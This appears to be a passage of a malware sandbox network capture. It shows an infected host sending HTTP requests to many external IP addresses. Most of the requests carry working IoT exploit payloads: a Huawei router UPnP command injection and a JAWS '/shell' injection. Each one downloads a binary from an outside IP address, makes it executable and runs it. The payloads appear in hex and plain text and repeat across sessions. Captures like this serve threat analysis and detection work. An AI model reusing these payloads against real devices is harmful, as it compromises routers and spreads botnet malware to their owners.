Jan 2, 2024 06:24:04.240123034 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:19.086064100 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:48.777895927 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.23	56150	113.198.35.222	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:49.840399981 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:50.770020962 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:52.625782013 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:56.561213017 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:03.984198093 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:18.830110073 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:48.777868032 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.23	38286	101.42.123.60	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:49.854020119 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:50.177582026 CET	346	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jan 2024 05:23:50 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Keep-Alive: timeout=119 Server: VM-128-24-centos Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.23	40722	184.29.129.7	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:49.999891996 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:50.159662008 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:23:50 GMT Date: Tue, 02 Jan 2024 05:23:50 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 66 36 37 34 64 36 38 26 23 34 36 3b 31 37 30 34 31 37 33 30 33 30 26 23 34 36 3b 36 32 30 65 39 37 65 62 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.9f674d68.1704173030.620e97eb</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.23	32926	172.121.35.80	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:50.004339933 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.23	36362	24.236.125.84	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:50.012962103 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:50.377222061 CET	183	IN	HTTP/1.1 505 HTTP Version Not Supported Cache-Control: no-cache Content-Length: 989 Content-Type: text/html Connection: close Server: debut/1.30 Pragma: no-cache
Jan 2, 2024 06:23:50.390863895 CET	1001	IN	Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 48 54 54 50 20 73 74 61 74 75 73 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 0a 7b 0a 6d 61 72 67 69 6e 2d 74 6f Data Ascii: <html><head><title>HTTP status</title><style type="text/css">body{margin-top: 30px;margin-right: 5%;margin-left: 5%;background-color: #ffffff;color: #000000;font-family: serif;font-size: 12px;line-height: 150%;}.header{color:

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.23	42508	94.253.89.24	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:50.267160892 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:50.534512043 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 02 Jan 2024 05:19:07 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.23	38636	89.218.57.128	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:50.310616970 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:50.626481056 CET	29	IN	HTTP/1.1 200 OK
Jan 2, 2024 06:23:50.626537085 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.23	59224	91.215.216.43	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:50.494103909 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:50.760756016 CET	404	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:23:50 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.23	60502	67.212.162.83	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:51.361229897 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:51.504483938 CET	913	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 681 date: Tue, 02 Jan 2024 05:23:51 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.23	42464	63.195.193.240	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:51.372397900 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
